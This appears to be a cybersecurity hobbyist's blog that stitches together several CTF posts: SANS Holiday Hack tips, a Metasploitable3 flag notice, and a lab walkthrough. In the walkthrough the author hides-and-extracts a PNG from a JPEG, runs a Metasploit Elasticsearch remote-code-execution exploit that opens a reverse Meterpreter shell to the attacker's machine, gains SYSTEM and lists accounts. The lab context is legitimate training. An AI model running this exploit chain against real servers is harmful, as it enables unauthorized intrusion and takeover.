Welcome to my blog!
As a Cyber Security professional and enthusiast I was wondering where can I just throw a little bit of my learning experiences while playing a Capture the Flag event or configuring/using a cool tool at work (without sharing my employers or client s information of course), and decided that a blog just might do it, this way I can keep track of my own learning and thinking process :)
I hope you'll enjoy the ride.
I was working on the SANS Holiday Hack Challenge and at last I've submitted my write up today, although I couldn't find 2 NetWars coins.
I'll share my solutions once the challenge is over after January 4th.
For now, I want to share the tips that the Elves from the North Pole gave us to help with the challenges.
The Elves in the North
Pole give a lot of information and tips about possible vulnerabilities that can
be exploited and tools to use.
Me!
·Alabaster Snowball:
oMentions JSON
parameter editing
oRecommends
using BurpSuite
·Holly Evergreen:
oOnce all
the Cranberry Pi pieces are found she provides the Cranbian image.
·Shiny Upatree:
oMentions
APK files are just ZIP files
oRecommends
JadX-gui to decompile APK
oProvides a
link to download Joshua Wright’s presentation from HackFest 2016 on using Android Studio and
JadX
·Pepper Minstix:
oTalks
about the Meteor Framework and provides a link to the project’s web site.
oProvides a
link to Tim Medin’s blog post about using Tampermonkey and his own Meteor
Miner JavaScript to exploit over subscription sharing too much data with
Meteor.
oProvides a
link to download an old version of the Dungeon game.
·Minty Candycane:
oMentions
NMAP and how the default –sC switch really works well.
oMentions
John the Ripper and provides a link to download the Rockyou password database for brute forcing.
·Sugarplum Mary:
oMentions
how PHP Filters can be used to read all kind of I/O streams.
oProvides a
link to Jeff McJunki’s blog post about exploiting local file inclusion with php
filters.
·Bushy Evergreen:
oMentions
apktool to decompile Android apps.
oSays JadX
is great to look at the code but not good for recompiling, but with Apktool, I
can modify the smali code and recompile.
oReminds to
signed recompiled APK files before installing.
oProvides a
link to Joshua Wright’s video about manipulating APK files with apktool.
·Wunorse Openslae:
o Mentions how hard it’s been to manage so many
SD cards.
oProvides link to Joshua Wright’s blog post about managing SD card images and how to mount
them
The same tips and others are provided in the SantaGram app once you manage to install it and look at the post from elves.
Hello, I just got this from the Metasploitable 3 team at Rapid7:
CaptureTheFlag 1:57 PM (20 minutes ago) to CaptureTheFlag
Hello,
You are receiving this e-mail because according to our record, you are an active participant for the Metasploitable3 CTF.
The CTF team would like to address two issues with these flags: Seven of Hearts and Jack of Diamonds,please read carefully.
Seven of Hearts
The Seven of Hearts is probably missing in your Metasploitable3 image, because we made a typo in the installation script. To make sure you have this card, you can either: Rebuild the image by doing: 1. In your repository, do "git pull" to update 2. Do: "vagrant destroy" 3. Do: "vagrant up", and this should rebuild the image. It will take a while.
Or update and run install_flags.bat (without the need to rebuild the image, so this is quicker) 1. wget https://raw.githubusercontent.com/rapid7/metasploitable3/master/scripts/installs/install_flags.bat 2. In the Metasploitable3 repo, move the new install_flags.bat file to the scripts/installs/ directory. This should replace the old one. 3. On Virtual Box, log on to Metasploitable3 as vagrant:vagrant. 4. Go to C:\vagrant\scripts\installs. Right click on the install_flags.bat file, and run it as an administrator, and Seven of Hearts should be installed.
Jack of Diamonds You are only able to extract the Jack of Diamonds image partially. However, if the approach to finding this flag is correct, we will still give you full credit. So please don't ignore this flag.
Other flags are in good working condition. We are sorry for the inconvenience. If you have any questions, please let us know.
With the Ten of Diamonds, we also downloaded the Ace of Hearts, this time a JPEG file, let's take a look
Not the card we are looking for
Ok, this is not what we're looking for, I guess we want PNG files, let's take a closer look to the file with binwalk
root@igor-kali:~# binwalk ace_of_hearts.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
20087 0x4E77 Zip archive data, at least v1.0 to extract, compressed size: 459917, uncompressed size: 459917, name: ace_of_hearts.png
480150 0x75396 End of Zip archive
Bingo, there's a Zip file attached to the JPEG file that has a ace_of_hearts.png file inside
Some people will extract the ZIP file with 'dd' or with 'foremost' but I'll just make a copy and rename to zip and unzip it (you can also unzip directly).
root@igor-kali:~# cp ace_of_hearts.jpg ace_of_hearts.jpg.zip
root@igor-kali:~# unzip ace_of_hearts.jpg.zip
Archive: ace_of_hearts.jpg.zip
warning [ace_of_hearts.jpg.zip]: 20087 extra bytes at beginning or within zipfile
(attempting to process anyway)
extracting: ace_of_hearts.png
Ok, I want a shell now... Wordpress might give me one but let's look at another interesting port:
9200/tcp open http Elasticsearch REST API 1.1.1 (name: Ziggy Pig; Lucene 4.7)
I'm a Splunk guy, so let's hit Elasticsearch :D
I have no idea what to do with Elasticsearch so let's google
Metasploit has something for Elasticsearch
Let's load msfconsole and search for Elasticsearch:
msf > search elasticsearch
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/elasticsearch/indices_enum normal ElasticSearch Indices Enumeration Utility
auxiliary/scanner/http/elasticsearch_traversal normal ElasticSearch Snapshot API Directory Traversal
exploit/multi/elasticsearch/script_mvel_rce 2013-12-09 excellent ElasticSearch Dynamic Script Arbitrary Java Execution
exploit/multi/elasticsearch/search_groovy_script 2015-02-11 excellent ElasticSearch Search Groovy Sandbox Bypass
exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution
Arbitrary Java Execution.... let's use that:
msf > use exploit/multi/elasticsearch/script_mvel_rce
msf exploit(script_mvel_rce) > options
Module options (exploit/multi/elasticsearch/script_mvel_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 9200 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The path to the ElasticSearch REST API
VHOST no HTTP server virtual host
WritableDir /tmp yes A directory where we can write files (only for *nix environments)
Exploit target:
Id Name
-- ----
0 ElasticSearch 1.1.1 / Automatic
msf exploit(script_mvel_rce) > set RHOST 10.20.10.19
RHOST => 10.20.10.19
msf exploit(script_mvel_rce) > run
[*] Started reverse TCP handler on 10.20.10.21:4444
[*] Trying to execute arbitrary Java...
[*] Discovering remote OS...
[+] Remote OS is 'Windows Server 2008 R2'
[*] Discovering TEMP path
[+] TEMP path identified: 'C:\Windows\TEMP\'
[!] This exploit may require manual cleanup of 'C:\Windows\TEMP\XTepm.jar' on the target
[*] Exploit completed, but no session was created.
What?!?! Hmmm... I tried several times and no luck, so I google for metasploit and elasticsearch again and found the video:
It works for him so I asked...
Thanks Webpwnized guy :)
OK... the old turn it off and turn it on again...
msf exploit(script_mvel_rce) > run
[*] Started reverse TCP handler on 10.20.10.21:4467
[*] Trying to execute arbitrary Java...
[*] Trying to execute 'System.getProperty("java.version")'...
[*] Answer to Java test: ;C:\Program Files\elasticsearch-1.1.1/lib/elasticsearch-1.1.1.jar;C:\Program Files\elasticsearch-1.1.1/lib/elasticsearch-1.1.1.jar;C:\Program Files\elasticsearch-1.1.1/lib/jna-3.3.0.jar;C:\Program Files\elasticsearch-1.1.1/lib/jts-1.13.jar;C:\Program Files\elasticsearch-1.1.1/lib/log4j-1.2.17.jar;C:\Program Files\elasticsearch-1.1.1/lib/lucene-analyzers-common-4.7.2.jar;C:\Program Files\elasticsearch-1.1.1/lib/lucene-codecs-4.7.2.jar;C:\Program Files\elasticsearch-1.1.1/lib/lucene-core-4.7.2.jar;C:\Program Files\elasticsearch-1.1.1/lib/lucene-grouping-4.7.2.jar;C:\Program Files\elasticsearch-1.1.1/lib/lucene-highlighter-4.7.2.jar;C:\Program Files\elasticsearch-1.1.1/lib/lucene-join-4.7.2.jar;C:\Program Files\elasticsearch-1.1.1/lib/lucene-memory-4.7.2.jar;C:\Program Files\elasticsearch-1.1.1/lib/lucene-misc-4.7.2.jar;C:\Program Files\elasticsearch-1.1.1/lib/lucene-queries-4.7.2.jar;C:\Program Files\elasticsearch-1.1.1/lib/lucene-queryparser-4.7.2.jar;C:\Program Files\elasticsearch-1.1.1/lib/lucene-sandbox-4.7.2.jar;C:\Program Files\elasticsearch-1.1.1/lib/lucene-spatial-4.7.2.jar;C:\Program Files\elasticsearch-1.1.1/lib/lucene-suggest-4.7.2.jar;C:\Program Files\elasticsearch-1.1.1/lib/spatial4j-0.4.1.jar;C:\Program Files\elasticsearch-1.1.1/lib/sigar/sigar-1.6.4.jar
[*] Discovering remote OS...
[+] Remote OS is 'Windows Server 2008 R2'
[*] Discovering TEMP path
[+] TEMP path identified: 'C:\Windows\TEMP\'
[*] Sending stage (46089 bytes) to 10.20.10.19
[*] Meterpreter session 1 opened (10.20.10.21:4467 -> 10.20.10.19:49359) at 2016-12-05 18:23:56 -0500
[!] This exploit may require manual cleanup of 'C:\Windows\TEMP\cau.jar' on the target
meterpreter > ls
Listing: C:\Program Files\elasticsearch-1.1.1
=============================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100776/rwxrwxrw- 11358 fil 2014-02-12 12:35:54 -0500 LICENSE.txt
100776/rwxrwxrw- 150 fil 2014-03-25 19:38:22 -0400 NOTICE.txt
100776/rwxrwxrw- 8093 fil 2014-03-25 19:38:22 -0400 README.textile
40776/rwxrwxrw- 4096 dir 2014-04-16 18:28:54 -0400 bin
40776/rwxrwxrw- 0 dir 2014-04-16 18:28:54 -0400 config
40776/rwxrwxrw- 0 dir 2016-11-25 22:53:28 -0500 data
40776/rwxrwxrw- 8192 dir 2014-04-16 18:28:54 -0400 lib
40776/rwxrwxrw- 8192 dir 2016-12-05 18:14:00 -0500 logs
Got it, now we have a meterpreter, let's look around:
meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Program Files\elasticsearch-1.1.1>whoami
whoami
nt authority\system
Cool, I have some power
C:\Program Files\elasticsearch-1.1.1\logs>net users
net users
User accounts for \\
-------------------------------------------------------------------------------
Administrator anakin_skywalker artoo_detoo
ben_kenobi boba_fett c_three_pio
chewbacca darth_vader greedo
Guest han_solo jabba_hutt
jarjar_binks kylo_ren lando_calrissian
leah_organa luke_skywalker sshd
sshd_server vagrant
The command completed with one or more errors.
I sense a theme on these users, Have you felt it?!
There's an SQL file for the queen of hearts, let's troubleshoot my issue:
This Blob seems to be complete, it ends in "=" as base64 file should
Let's run this:
root@igor-kali:~# service mysql start
root@igor-kali:~# mysql
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.6.30-1 (Debian)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> quit
Bye
root@igor-kali:~# mysql < queen_of_hearts.sql
ERROR 1049 (42000) at line 1: Unknown database 'cards'
root@igor-kali:~# mysql
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 6
Server version: 5.6.30-1 (Debian)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> create database cards
-> ;
Query OK, 1 row affected (0.02 sec)
mysql> quit
Bye
root@igor-kali:~# mysql < queen_of_hearts.sql
root@igor-kali:~# mysql
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 6
Server version: 5.6.30-1 (Debian)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use cards
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables
-> ;
+-----------------+
| Tables_in_cards |
+-----------------+
| queen_of_hearts |
+-----------------+
1 row in set (0.00 sec)
These ends like the file I extracted, something is wrong with this query, I guess MySQL doesn't like that data, the field of the table must have been setup incorrectly
So I got this flag, The Queen of Hearts, it's just broken.
UPDATE: Found it!
Someone commented to keep looking, so I went to take another look:
